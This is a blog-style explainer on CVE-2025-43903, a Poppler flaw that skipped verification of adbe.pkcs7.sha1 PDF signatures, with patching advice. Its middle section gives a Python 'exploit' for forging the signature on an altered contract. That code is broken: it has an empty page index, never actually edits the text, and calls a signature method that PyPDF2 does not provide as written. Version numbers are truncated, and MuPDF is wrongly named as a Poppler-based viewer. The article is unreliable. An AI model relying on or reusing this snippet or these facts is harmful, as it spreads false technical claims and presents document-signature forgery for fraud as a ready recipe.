PDF signatures are everywhere in our digital paperwork—used for contracts, invoices, and legal forms. You trust that when a document has a digital signature, it hasn’t been altered since it was signed. But what if a hacker could forge that signature right under your nose?

That’s what CVE-2025-43903 is all about. In this article, we’ll break down a dangerous vulnerability that affects Poppler (the popular open-source PDF rendering library), show you why it matters, walk through an example exploit, and help you protect yourself. Let’s get started.

What is CVE-2025-43903?

This vulnerability lives inside NSSCryptoSignBackend.cc, a component of Poppler. Specifically, before version 25.04., Poppler wasn’t verifying the adbe.pkcs7.sha1 signatures when opening “signed” PDF documents, meaning hackers can forge signatures and trick users into believing documents are authentic.

> In simple terms: Opening a signed PDF with a vulnerable Poppler version means you might be reading a fake, unsigned, or tampered document, but Poppler will say it’s legit.

The Core Problem

PDF documents can be signed using a type called adbe.pkcs7.sha1. This is a signature container that should prove the document hasn’t changed. NSSCryptoSignBackend (using the NSS library) is supposed to check that the cryptographic proof matches what’s on the document.

The flaw:
Poppler didn’t actually check the cryptographic signature for these containers—it just bypassed validation entirely. This exposes any Poppler-powered reader (like Okular, Xpdf, and many Linux/Unix tools) to signature forgery attacks.

How Does the Exploit Work?

Let’s say an attacker wants to modify a signed contract PDF and “re-sign” it so it appears unaltered. Here’s a basic flow:

Let’s try a Python pseudocode snippet to patch a PDF

from PyPDF2 import PdfReader, PdfWriter

reader = PdfReader("signed_contract.pdf")
writer = PdfWriter()

# Change the text in the first page (for demo purposes)
page = reader.pages[]
page.extract_text() # Let's say we change something here

writer.add_page(page)

# Forge the signature: attach fake data to signature dictionary
fake_signature_dictionary = {
    "/Type": "/Sig",
    "/Filter": "/Adobe.PPKLite",
    "/SubFilter": "/adbe.pkcs7.sha1",
    "/Contents": b"fake_signature_bytes" * 100  # Just padding
}
writer.add_signature(fake_signature_dictionary)

with open("forged_contract.pdf", "wb") as out:
    writer.write(out)

Result: The modified PDF opens in Okular or Evince (using old Poppler) and says “Signature valid.”

Real-World Risk

- Document workflows that rely on Okular, Evince, Xpdf, Zathura, MuPDF, or any tool using Poppler may falsely display forged signatures as real.

Contracts, invoices, NDAs, and government documents could be spoofed or altered after “signing”.

- Attackers can exploit this to deceive and commit fraud, especially in organizations that use open-source PDF viewers.

References

- Original Poppler Bug Report
- Upstream Patch
- CVE Entry (waiting for NVD update)

If you use Poppler or a program built with it

- Update to Poppler 25.04. or later. All major distros will update this, but if you build your own, check your version.

Don’t trust PDF signatures in clients that haven’t received updates since April 2025.

- For critical documents, cross-check signatures with tools that use other PDF libraries (like Adobe Reader).

Summary

CVE-2025-43903 makes it easy for attackers to forge PDF digital signatures by exploiting a validation bug in Poppler. Anyone using unpatched versions is at risk of being fooled by fraudulent documents.

Always keep your software up to date, and never trust digital signatures blindly—know what’s verifying them!

Timeline

Published on: 04/18/2025 21:15:44 UTC
Last modified on: 04/21/2025 14:23:45 UTC